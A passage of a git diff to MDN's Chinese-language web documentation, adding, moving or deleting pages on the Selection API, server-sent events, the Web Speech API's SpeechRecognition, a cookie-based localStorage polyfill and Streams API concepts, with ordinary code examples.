{{EmbedLiveSample("Simple_screen_capture", 640, 680, "", "", "", "display-capture")}}

- -

安全

- -

In order to function when Feature Policy is enabled, you will need the display-capture permission. This can be done using the {{HTTPHeader("Feature-Policy")}} {{Glossary("HTTP")}} header or—if you're using the Screen Capture API in an {{HTMLElement("iframe")}}, the <iframe> element's {{htmlattrxref("allow", "iframe")}} attribute.

- -

For example, this line in the HTTP headers will enable Screen Capture API for the document and any embedded {{HTMLElement("iframe")}} elements that are loaded from the same origin:

- -
Feature-Policy: display-capture 'self'
- -

If you're performing screen capture within an <iframe>, you can request permission just for that frame, which is clearly more secure than requesting a more general permission:

- -
<iframe src="https://mycode.example.net/etc" allow="display-capture">
-</iframe>
-
- -

相关链接

- - -
diff --git a/files/zh-cn/web/api/selection/deletefromdocument/index.html b/files/zh-cn/web/api/selection/deletefromdocument/index.html new file mode 100644 index 0000000000..5532bcf0fc --- /dev/null +++ b/files/zh-cn/web/api/selection/deletefromdocument/index.html @@ -0,0 +1,107 @@ +--- +title: Selection.deleteFromDocument() +slug: Web/API/Selection/从Document中删除 +translation_of: Web/API/Selection/deleteFromDocument +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +
+

The Selection.deleteFromDocument() method deletes the actual text being represented by a selection object from the document's DOM.

+
+ +

Syntax

+ +
sel.deleteFromDocument()
+
+ +

Parameters

+ +

None.

+ +

Examples

+ +

A user selects the (imaginary) text "ve two ea" from "Rabbits have two ears." on a web page. The user then clicks a button that executes the JavaScript snippet window.getSelection().deleteFromDocument(). The document's text becomes "Rabbits hars."

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-deletefromdocument', 'Selection.deleteFromDocument()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-deleteFromDocument-void', 'Selection.deleteFromDocument()')}}{{Spec2('Selection API')}}Current
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

See also

+ + diff --git "a/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" "b/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" deleted file mode 100644 index 5532bcf0fc..0000000000 --- "a/files/zh-cn/web/api/selection/\344\273\216document\344\270\255\345\210\240\351\231\244/index.html" +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: Selection.deleteFromDocument() -slug: Web/API/Selection/从Document中删除 -translation_of: Web/API/Selection/deleteFromDocument ---- -
-
-
{{ ApiRef("DOM") }}{{SeeCompatTable}}
-
-
- -
-

The Selection.deleteFromDocument() method deletes the actual text being represented by a selection object from the document's DOM.

-
- -

Syntax

- -
sel.deleteFromDocument()
-
- -

Parameters

- -

None.

- -

Examples

- -

A user selects the (imaginary) text "ve two ea" from "Rabbits have two ears." on a web page. The user then clicks a button that executes the JavaScript snippet window.getSelection().deleteFromDocument(). The document's text becomes "Rabbits hars."

- -

Specifications

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-deletefromdocument', 'Selection.deleteFromDocument()')}}{{Spec2('HTML Editing')}}Initial definition
{{SpecName('Selection API', '#widl-Selection-deleteFromDocument-void', 'Selection.deleteFromDocument()')}}{{Spec2('Selection API')}}Current
- -

Browser compatibility

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown()}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

See also

- - diff --git a/files/zh-cn/web/api/server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/index.html new file mode 100644 index 0000000000..4a9d6e0630 --- /dev/null +++ b/files/zh-cn/web/api/server-sent_events/index.html @@ -0,0 +1,77 @@ +--- +title: Server-sent events +slug: Server-sent_events +tags: + - API + - NeedsTranslation + - Server-sent events + - TopicStub +translation_of: Web/API/Server-sent_events +--- +
{{DefaultAPISidebar("Server Sent Events")}}
+ +

一个网页获取新的数据通常需要发送一个请求到服务器,也就是向服务器请求的页面。使用 server-sent 事件,服务器可以在任何时刻向我们的 Web 页面推送数据和信息。这些被推送进来的信息可以在这个页面上作为 Events + data 的形式来处理。

+ +

概念与使用

+ +

可以前往我们这篇文章 《使用 “server-sent events”》 学习怎么使用 server-sent events。

+ +

接口

+ +
+
{{domxref("EventSource")}}
+
Defines all the features that handle connecting to a server, receiving events/data, errors, closing a connection, etc.
+
+ +

示例

+ + + +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}{{Spec2('HTML WHATWG')}}
+ +

参见

+ +

Tools

+ + + +

相关话题

+ + + +

其他资源

+ + diff --git a/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html new file mode 100644 index 0000000000..505ec19a76 --- /dev/null +++ b/files/zh-cn/web/api/server-sent_events/using_server-sent_events/index.html @@ -0,0 +1,190 @@ +--- +title: 使用服务器发送事件 +slug: Server-sent_events/Using_server-sent_events +tags: + - Advanced + - DOM + - Guide + - SSE + - Server Sent Events + - messaging + - 服务器发送事件 + - 通信 +translation_of: Web/API/Server-sent_events/Using_server-sent_events +--- +

{{DefaultAPISidebar("Server Sent Events")}}

+ +

开发一个使用服务器发送的事件的Web应用程序是很容易的。你需要在服务器上的一些代码将事件流传输到Web应用程序,但Web应用程序端的事情几乎完全相同,处理任何其他类型的事件。

+ +

在Web应用程序中使用服务器发送事件很简单.在服务器端,只需要按照一定的格式返回事件流,在客户端中,只需要为一些事件类型绑定监听函数,和处理其他普通的事件没多大区别.

+ +

从服务器接受事件

+ +

服务器发送事件API也就是EventSource接口,在你创建一个新的EventSource对象的同时,你可以指定一个接受事件的URI.例如:

+ +
const evtSource = new EventSource("ssedemo.php");
+
+ +
注:从Firefox 11开始,EventSource开始支持CORS.虽然该特性目前并不是标准,但很快会成为标准.
+ +

如果发送事件的脚本不同源,应该创建一个新的包含URL和options参数的EventSource对象。例如,假设客户端脚本在example.com上:

+ +
const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } );
+ +

一旦你成功初始化了一个事件源,就可以对 {{event("message")}} 事件添加一个处理函数开始监听从服务器发出的消息了:

+ +
evtSource.onmessage = function(event) {
+  const newElement = document.createElement("li");
+  const eventList = document.getElementById("list");
+
+  newElement.innerHTML = "message: " + event.data;
+  eventList.appendChild(newElement);
+}
+ +

上面的代码监听了那些从服务器发送来的所有没有指定事件类型的消息(没有event字段的消息),然后把消息内容显示在页面文档中.

+ +

你也可以使用addEventListener()方法来监听其他类型的事件:

+ +
evtSource.addEventListener("ping", function(event) {
+  const newElement = document.createElement("li");
+  const time = JSON.parse(event.data).time;
+  newElement.innerHTML = "ping at " + time;
+  eventList.appendChild(newElement);
+});
+ +

这段代码也类似,只是只有在服务器发送的消息中包含一个值为"ping"的event字段的时候才会触发对应的处理函数,也就是将data字段的字段值解析为JSON数据,然后在页面上显示出所需要的内容.

+ +
+

不通过HTTP / 2使用时,SSE(server-sent events)会受到最大连接数的限制,这在打开各种选项卡时特别麻烦,因为该限制是针对每个浏览器的,并且被设置为一个非常低的数字(6)。该问题在 Chrome 和 Firefox中被标记为“无法解决”。此限制是针对每个浏览器+域的,因此这意味着您可以跨所有选项卡打开6个SSE连接到www.example1.com,并打开6个SSE连接到www.example2.com。 (来自 Stackoverflow)。使用HTTP / 2时,HTTP同一时间内的最大连接数由服务器和客户端之间协商(默认为100)。

+
+ +

服务器端如何发送事件流

+ +

服务器端发送的响应内容应该使用值为text/event-stream的MIME类型.每个通知以文本块形式发送,并以一对换行符结尾。有关事件流的格式的详细信息,请参见{{ anch("Event stream format") }}。

+ +

演示的{{Glossary("PHP")}}代码如下:

+ +
date_default_timezone_set("America/New_York");
+header("Cache-Control: no-cache");
+header("Content-Type: text/event-stream");
+
+$counter = rand(1, 10);
+while (true) {
+  // Every second, send a "ping" event.
+
+  echo "event: ping\n";
+  $curDate = date(DATE_ISO8601);
+  echo 'data: {"time": "' . $curDate . '"}';
+  echo "\n\n";
+
+  // Send a simple message at random intervals.
+
+  $counter--;
+
+  if (!$counter) {
+    echo 'data: This is a message at time ' . $curDate . "\n\n";
+    $counter = rand(1, 10);
+  }
+
+  ob_end_flush();
+  flush();
+  sleep(1);
+}
+ +

上面的代码会让服务器每隔一秒生成一个事件流并返回,其中每条消息的事件类型为"ping",数据字段都使用了JSON格式,数组字段中包含了每个事件流生成时的 ISO 8601 时间戳.而且会随机返回一些无事件类型的消息.

+ +
+

: 您可以在github上找到以上代码的完整示例—参见Simple SSE demo using PHP.

+
+ +

错误处理

+ +

当发生错误(例如请求超时或与HTTP访问控制(CORS)有关的问题), 会生成一个错误事件. 您可以通过在EventSource对象上使用onerror回调来对此采取措施:

+ +
evtSource.onerror = function(err) {
+  console.error("EventSource failed:", err);
+};
+ +

关闭事件流

+ +

默认情况下,如果客户端和服务器之间的连接关闭,则连接将重新启动。可以使用.close()方法终止连接。

+ +
evtSource.close();
+ +

事件流格式

+ +

事件流仅仅是一个简单的文本数据流,文本应该使用 UTF-8 格式的编码.每条消息后面都由一个空行作为分隔符.以冒号开头的行为注释行,会被忽略.

+ +
注:注释行可以用来防止连接超时,服务器可以定期发送一条消息注释行,以保持连接不断.
+ +

每条消息是由多个字段组成的,每个字段由字段名,一个冒号,以及字段值组成.

+ +

字段

+ +

规范中规定了下面这些字段:

+ +
+
event
+
事件类型.如果指定了该字段,则在客户端接收到该条消息时,会在当前的EventSource对象上触发一个事件,事件类型就是该字段的字段值,你可以使用addEventListener()方法在当前EventSource对象上监听任意类型的命名事件,如果该条消息没有event字段,则会触发onmessage属性上的事件处理函数.
+
data
+
消息的数据字段.如果该条消息包含多个data字段,则客户端会用换行符把它们连接成一个字符串来作为字段值.
+
id
+
事件ID,会成为当前EventSource对象的内部属性"最后一个事件ID"的属性值.
+
retry
+
一个整数值,指定了重新连接的时间(单位为毫秒),如果该字段值不是整数,则会被忽略.
+
+ +

除了上面规定的字段名,其他所有的字段名都会被忽略.

+ +
注: 如果一行文本中不包含冒号,则整行文本会被解析成为字段名,其字段值为空.
+ +

例子

+ +

未命名事件

+ +

下面的例子中发送了三条消息,第一条仅仅是个注释,因为它以冒号开头.第二条消息只包含了一个data字段,值为"some text".第三条消息包含的两个data字段会被解析成为一个字段,值为"another message\nwith two lines".其中每两条消息之间是以一个空行为分割符的.

+ +
: this is a test stream
+
+data: some text
+
+data: another message
+data: with two lines
+
+ +

命名事件

+ +

下面的事件流中包含了一些命名事件.每个事件的类型都是由event字段指定的,另外每个data字段的值可以使用JSON格式,当然也可以不是.

+ +
event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+
+ +

混合两种事件

+ +

你可以在一个事件流中同时使用命名事件和未命名事件.

+ +
event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Here's a system message of some kind that will get used
+data: to accomplish some task.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventSource")}}

diff --git a/files/zh-cn/web/api/slotable/index.html b/files/zh-cn/web/api/slotable/index.html deleted file mode 100644 index 2a489d3b22..0000000000 --- a/files/zh-cn/web/api/slotable/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Slotable -slug: Web/API/Slotable -tags: - - API - - Web Components - - 参考 - - 接口 -translation_of: Web/API/Slottable -translation_of_original: Web/API/Slotable ---- -

{{APIRef("Shadow DOM")}}

- -

Slotable mixin 定义了允许节点成为 {{htmlelement("slot")}} 元素的内容的特性——下面的特性被包含在 {{domxref("Element")}} 和 {{domxref("Text")}} API 之中。

- -

属性

- -
-
{{domxref("Slotable.assignedSlot")}} {{readonlyInline}}
-
返回节点所插入的 {{htmlelement("slot")}} 元素。
-
- -

方法

- -

无。

- -

规范

- - - - - - - - - - - - - - -
规范状态备注
{{SpecName('DOM WHATWG','#slotable','Slotable')}}{{Spec2('DOM WHATWG')}}Initial definition.
- -

浏览器兼容性

- - - -

{{Compat("api.Slotable")}}

diff --git a/files/zh-cn/web/api/speechrecognition/index.html b/files/zh-cn/web/api/speechrecognition/index.html new file mode 100644 index 0000000000..83e11e69e4 --- /dev/null +++ b/files/zh-cn/web/api/speechrecognition/index.html @@ -0,0 +1,153 @@ +--- +title: 语音识别 +slug: Web/API/语音识别 +translation_of: Web/API/SpeechRecognition +--- +

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

+ +

The SpeechRecognition interface of the Web Speech API is the controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.

+ +
+

Note: On Chrome, using Speech Recognition on a web page involves a server-based recognition engine. Your audio is sent to a web service for recognition processing, so it won't work offline.

+
+ +

Constructor

+ +
+
{{domxref("SpeechRecognition.SpeechRecognition()")}}
+
Creates a new SpeechRecognition object.
+
+ +

Properties

+ +

SpeechRecognition also inherits properties from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.grammars")}}
+
Returns and sets a collection of {{domxref("SpeechGrammar")}} objects that represent the grammars that will be understood by the current SpeechRecognition.
+
{{domxref("SpeechRecognition.lang")}}
+
Returns and sets the language of the current SpeechRecognition. If not specified, this defaults to the HTML {{htmlattrxref("lang","html")}} attribute value, or the user agent's language setting if that isn't set either.
+
{{domxref("SpeechRecognition.continuous")}}
+
Controls whether continuous results are returned for each recognition, or only a single result. Defaults to single (false.)
+
{{domxref("SpeechRecognition.interimResults")}}
+
Controls whether interim results should be returned (true) or not (false.) Interim results are results that are not yet final (e.g. the {{domxref("SpeechRecognitionResult.isFinal")}} property is false.)
+
{{domxref("SpeechRecognition.maxAlternatives")}}
+
Sets the maximum number of {{domxref("SpeechRecognitionAlternative")}}s provided per result. The default value is 1.
+
{{domxref("SpeechRecognition.serviceURI")}}
+
Specifies the location of the speech recognition service used by the current SpeechRecognition to handle the actual recognition. The default is the user agent's default speech service.
+
+ +
+
+ +

Methods

+ +

SpeechRecognition also inherits methods from its parent interface, {{domxref("EventTarget")}}.

+ +
+
{{domxref("SpeechRecognition.abort()")}}
+
Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.
+
{{domxref("SpeechRecognition.start()")}}
+
Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
+
{{domxref("SpeechRecognition.stop()")}}
+
Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
audiostart
+
Fired when the user agent has started to capture audio.
+ Also available via the onaudiostart property.
+
audioend
+
Fired when the user agent has finished capturing audio.
+ Also available via the onaudioend property.
+
end
+
Fired when the speech recognition service has disconnected.
+ Also available via the onend property.
+
error
+
Fired when a speech recognition error occurs.
+ Also available via the onerror property.
+
nomatch
+
Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.
+ Also available via the onnomatch property.
+
result
+
Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
+ Also available via the onresult property.
+
soundstart
+
Fired when any sound — recognisable speech or not — has been detected.
+ Also available via the onsoundstart property.
+
soundend
+
Fired when any sound — recognisable speech or not — has stopped being detected.
+ Also available via the onsoundend property.
+
speechstart
+
Fired when sound that is recognised by the speech recognition service as speech has been detected.
+ Also available via the onspeechstart property.
+
speechend
+
Fired when speech recognised by the speech recognition service has stopped being detected.
+ Also available via the onspeechend property.
+
start
+
Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
+ Also available via the onstart property.
+
+ +

Examples

+ +

In our simple Speech color changer example, we create a new SpeechRecognition object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the SpeechRecognition instance using the {{domxref("SpeechRecognition.grammars")}} property.

+ +

After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.

+ +
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
+var recognition = new SpeechRecognition();
+var speechRecognitionList = new SpeechGrammarList();
+speechRecognitionList.addFromString(grammar, 1);
+recognition.grammars = speechRecognitionList;
+//recognition.continuous = false;
+recognition.lang = 'en-US';
+recognition.interimResults = false;
+recognition.maxAlternatives = 1;
+
+var diagnostic = document.querySelector('.output');
+var bg = document.querySelector('html');
+
+document.body.onclick = function() {
+  recognition.start();
+  console.log('Ready to receive a color command.');
+}
+
+recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color;
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ + + +

{{Compat("api.SpeechRecognition")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/speechrecognition/result_event/index.html b/files/zh-cn/web/api/speechrecognition/result_event/index.html new file mode 100644 index 0000000000..d6415441f3 --- /dev/null +++ b/files/zh-cn/web/api/speechrecognition/result_event/index.html @@ -0,0 +1,83 @@ +--- +title: 'SpeechRecognition: result event' +slug: Web/API/语音识别/result_event +translation_of: Web/API/SpeechRecognition/result_event +--- +
{{APIRef("Web Speech API")}} {{SeeCompatTable}}
+ +

The result event of the Web Speech API is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("SpeechRecognitionEvent")}}
Event handler propertyonresult
+ +

Examples

+ +

This code is excerpted from our Speech color changer example.

+ +

You can use the result event in an addEventListener method:

+ +
var recognition = new webkitSpeechRecognition() || new SpeechRecognition();
+
+recognition.addEventListener('result', function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+});
+
+ +

Or use the onresult event handler property:

+ +
recognition.onresult = function(event) {
+  var color = event.results[0][0].transcript;
+  diagnostic.textContent = 'Result received: ' + color + '.';
+  bg.style.backgroundColor = color;
+}
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-events', 'speech recognition events')}}{{Spec2('Web Speech API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.SpeechRecognition.result_event")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/storage/localstorage/index.html b/files/zh-cn/web/api/storage/localstorage/index.html deleted file mode 100644 index 46384c660e..0000000000 --- a/files/zh-cn/web/api/storage/localstorage/index.html +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: LocalStorage -slug: Web/API/Storage/LocalStorage -tags: - - 存储API - - 离线 -translation_of: Web/API/Window/localStorage -translation_of_original: Web/API/Web_Storage_API/Local_storage ---- -

localStorage 与 sessionStorage 一样,都遵循同源策略,但是它是持续存在的。localStorage 首次出现于 Firefox 3.5。

- -
Note: 当浏览器进入隐私浏览模式,会创建一个新的、临时的数据库来存储local storage的数据;当关闭隐私浏览模式时,该数据库将被清空并丢弃。
- -
// Save data to the current local store
-localStorage.setItem("username", "John");
-
-// Access some stored data
-alert( "username = " + localStorage.getItem("username"));
- -

本地存储(localStorage)的持续存在对许多事情都有帮助,包括这个示例this tutorial on Codepen所演示的记录页面查看次数。

- -

兼容性

- -

Storage 对象最近才加入标准,因此可能并不被所有浏览器支持。你可以通过在你的scripts代码前加入以下两段代码中某一段来规避在不能原生支持的执行环境使用localStorage对象的问题。

- -

该算法借助于cookies,对localStorage对象进行了严谨的实现。

- -
if (!window.localStorage) {
-  Object.defineProperty(window, "localStorage", new (function () {
-    var aKeys = [], oStorage = {};
-    Object.defineProperty(oStorage, "getItem", {
-      value: function (sKey) { return sKey ? this[sKey] : null; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "key", {
-      value: function (nKeyId) { return aKeys[nKeyId]; },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "setItem", {
-      value: function (sKey, sValue) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "length", {
-      get: function () { return aKeys.length; },
-      configurable: false,
-      enumerable: false
-    });
-    Object.defineProperty(oStorage, "removeItem", {
-      value: function (sKey) {
-        if(!sKey) { return; }
-        document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
-      },
-      writable: false,
-      configurable: false,
-      enumerable: false
-    });
-    this.get = function () {
-      var iThisIndx;
-      for (var sKey in oStorage) {
-        iThisIndx = aKeys.indexOf(sKey);
-        if (iThisIndx === -1) { oStorage.setItem(sKey, oStorage[sKey]); }
-        else { aKeys.splice(iThisIndx, 1); }
-        delete oStorage[sKey];
-      }
-      for (aKeys; aKeys.length > 0; aKeys.splice(0, 1)) { oStorage.removeItem(aKeys[0]); }
-      for (var aCouple, iKey, nIdx = 0, aCouples = document.cookie.split(/\s*;\s*/); nIdx < aCouples.length; nIdx++) {
-        aCouple = aCouples[nIdx].split(/\s*=\s*/);
-        if (aCouple.length > 1) {
-          oStorage[iKey = unescape(aCouple[0])] = unescape(aCouple[1]);
-          aKeys.push(iKey);
-        }
-      }
-      return oStorage;
-    };
-    this.configurable = false;
-    this.enumerable = true;
-  })());
-}
-
- -
注意:数据的最大大小是通过cookies来严格限制的。可以使用这样的算法实现,使用localStorage.setItem()localStorage.removeItem()这两个函数进行添加、改变或删除一个键。使用方法为localStorage.yourKey = yourValue;和delete localStorage.yourKey;进行设置和删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
- -
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值访问权限限定在当前浏览上下文。
- -

下面是另一个,并不那么严谨的localStorage对象的实现。相比上一个方法,它更简单且能与旧的浏览器良好兼容,如Internet Explorer < 8 (甚至能在 Internet Explorer 6 上正常工作)。它同样是使用cookies来实现的。

- -
if (!window.localStorage) {
-  window.localStorage = {
-    getItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return null; }
-      return unescape(document.cookie.replace(new RegExp("(?:^|.*;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*((?:[^;](?!;))*[^;]?).*"), "$1"));
-    },
-    key: function (nKeyId) {
-      return unescape(document.cookie.replace(/\s*\=(?:.(?!;))*$/, "").split(/\s*\=(?:[^;](?!;))*[^;]?;\s*/)[nKeyId]);
-    },
-    setItem: function (sKey, sValue) {
-      if(!sKey) { return; }
-      document.cookie = escape(sKey) + "=" + escape(sValue) + "; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/";
-      this.length = document.cookie.match(/\=/g).length;
-    },
-    length: 0,
-    removeItem: function (sKey) {
-      if (!sKey || !this.hasOwnProperty(sKey)) { return; }
-      document.cookie = escape(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/";
-      this.length--;
-    },
-    hasOwnProperty: function (sKey) {
-      return (new RegExp("(?:^|;\\s*)" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
-    }
-  };
-  window.localStorage.length = (document.cookie.match(/\=/g) || window.localStorage).length;
-}
-
- -
注意:数据量的最大值是通过cookies来严格限制的。可以使用localStorage.getItem()localStorage.setItem()localStorage.removeItem()等方法获取、设置或删除一个键。使用方法localStorage.yourKey = yourValue;获取、添加、改变或者删除一个键并不是安全的做法。您也可以改变它的名字和使用它仅仅去管理文档的cookies而不管localStorage 这个对象。
- -
注意:通过将字符串"; expires=Tue, 19 Jan 2038 03:14:07 GMT; path=/" 改成"; path=/"(并且改变对象的名字),可以使得这个 localStorage的实现变为sessionStorage的实现。然而,这种实现方式会使储存键值可以跨标签和窗口访问(而且只会在浏览器窗口被关闭时销毁),完全兼容的sessionStorage实现会将储存键值限定在当前浏览环境上下文。
- -

与globalStorage的兼容性及关系

- -

localStorage 和 globalStorage[location.hostname] 是一样的, 除了作用域是在 HTML5 origin (结构 + 主机名 + 非标准的端口), 并且 localStorage 是一个 Storage 实例 ,而globalStorage[location.hostname] 是一个 StorageObsolete 实例,下面将要讨论这个。 例如, http://example.com 无法访问与 https://example.com 相同的 localStorage 对象 ,但是它们可以访问同一个 globalStoragelocalStorage 是标准的接口,globalStorage 不是, 所以不要依赖于 globalStorage 。   

- -

请注意,给globalStorage[location.hostname]设置一个属性并不会影响到localStorage。拓展Storage.prototype也不会影响globalStorage对象,只有拓展StorageObsolete.prototype才会影响。

- -

存储格式

- -

Storage的键和值都是以每个字符占2个字节的UTF-16字符串(DOMString)格式存储的。

diff --git a/files/zh-cn/web/api/streams_api/concepts/index.html b/files/zh-cn/web/api/streams_api/concepts/index.html new file mode 100644 index 0000000000..9c2d9f77ae --- /dev/null +++ b/files/zh-cn/web/api/streams_api/concepts/index.html @@ -0,0 +1,118 @@ +--- +title: Streams API 概念 +slug: Web/API/Streams_API/概念 +tags: + - 概念 + - 流 +translation_of: Web/API/Streams_API/Concepts +--- +
{{apiref("Streams")}}
+ +

Streams API 为 Web 平台提供了一组十分有用的工具,提供了一系列对象以允许 JavaScript 访问来自网络的数据流,并根据开发人员的需要对其进行处理。与流相关的一些概念和术语可能会令您感到陌生——本文将解释您需要了解的所有内容。

+ +

Readable streams

+ +

一个可读流是一个数据源,在 JavaScript 中用一个 {{domxref("ReadableStream")}} 对象表示,数据从它的 underlying source (底层源) 流出 —— 底层源表示一个您希望从中获取数据的,来自网络或其他域的,某种资源。

+ +

有两种 underlying source:

+ + + +

数据被按序读入到许多小块,这些小块被称作 chunkchunk 可以是单个字节,也可以是某种更大的数据类型,例如特定大小的 typed array 。来自一个流的 chunks 可以有不同的大小和类型。

+ +

+ +

已放入到流中的 chunks 称作 enqueued —— 这意味着它们已经准备好被读取,并等待在队列中。流的一个 internal queue 跟踪了那些尚未读取的块(请参阅下面的内部队列和队列策略部分)。

+ +

流中的 chunks 由一个 reader 读取 —— 该数据处理过程一次只处理一个 chunk,允许您对其执行任何类型的操作。reader 加上与它一起运行的其他处理代码合称为一个 consumer 

+ +

另一个您将用到的对象叫做 controller —— 每个 reader 都有一个关联的 controller,用来控制流 (例如,可以将流 close)。

+ +

一个流一次只能被一个 reader 读;当一个 reader 被创建并开始读一个流(an active reader),我们说,它被 locked 在该流上。如果您想让另一个 reader 读这个流,则通常需要先取消第一个 reader ,再执行其他操作。(您可以 tee 流,参阅下面的 Teeing 部分)

+ +

注意,有两种不同类型的可读流。除了传统的可读流之外,还有一种类型叫做字节流 —— 这是传统流的扩展版本,用于读取底层字节源。相比可读流,字节流除了 default reader ,还可以使用 BYOB reader (BYOB, or "bring your own buffer", "带上你自己的缓冲") 。这种 reader 可以直接将流读入开发者提供的缓冲区,从而最大限度地减少所需的复制。您的代码将使用哪种底层流(以及使用哪种 reader 和 controller)取决于流最初是如何创建的(请参阅{{domxref("ReadableStream.ReadableStream","ReadableStream()")}} 构造函数页面)。

+ +
+

Important: 字节流尚未在任何地方实现,并且规范的细节被质疑是否处于可以实现的高度完成的状态。这种情况可能会随着时间而变化。

+
+ +

